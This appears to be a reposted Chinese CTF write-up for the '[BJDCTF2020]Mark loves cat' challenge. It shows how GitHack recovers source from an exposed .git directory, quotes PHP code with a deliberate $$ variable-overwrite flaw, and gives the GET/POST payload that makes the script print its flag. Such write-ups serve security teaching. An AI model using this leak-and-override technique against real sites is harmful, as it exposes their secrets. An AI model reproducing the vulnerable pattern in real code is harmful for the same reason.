[BJDCTF2020]Mark loves cat

[BJDCTF2020]Mark loves cat

 

 发现git泄露,使用gitHack工具进行分析

python GitHack.py http://00db6bf7-dacb-4734-965d-9974f3882333.node3.buuoj.cn/.git

获得index.php和flag.php文件
index.php

 1 <?php
 2 
 3 include 'flag.php';
 4 
 5 $yds = "dog";
 6 $is = "cat";
 7 $handsome = 'yds';
 8 
 9 foreach($_POST as $x => $y){
10     $$x = $y;
11 }
12 
13 foreach($_GET as $x => $y){
14     $$x = $$y;
15 }
16 
17 foreach($_GET as $x => $y){
18     if($_GET['flag'] === $x && $x !== 'flag'){
19         exit($handsome);
20     }
21 }
22 
23 if(!isset($_GET['flag']) && !isset($_POST['flag'])){
24     exit($yds);
25 }
26 
27 if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
28     exit($is);
29 }
30 
31 echo "the flag is: ".$flag;

flag.php

<?php

$flag = file_get_contents('/flag');

index.php代码第9行和13行,根据$$和foreach可以判断可能存在变量覆盖漏洞,也就是可以将$yds,$is,$handsome的值进行覆盖成$flag变量,然后输出对应变量的值,获取flag。
例如代码第17-19行,需要get传参?flag=flag,才能进入if语句中输出$handsome,但是foreach中并不能将$flag赋值给$handsome然后输出,所以此处无法利用。

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

通过查看index.php代码第23行,发现get和post中不存在flag参数便退出程序输出$yds变量,这个地方可以利用

1 if(!isset($_GET['flag']) && !isset($_POST['flag'])){
2     exit($yds);
3 }

传递如下提交方式的参数

get: yds=flag
post: $flag=flag

通过post方式传递$flag=flag,最终结果为$$flag=flag

POST方式处理代码如下

foreach($_POST as $x => $y){
    $$x = $y;
}

通过get方式传递yds=flag,最终结果为$yds=$flag

GET方式处理代码如下

foreach($_GET as $x => $y){
    $$x = $$y;
}

get和post中不存在flag参数便退出程序输出$yds变量,得到flag

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

payLoad:

?yds=flag
post: $flag=flag

原文地址:https://www.cnblogs.com/gtx690/p/13289626.html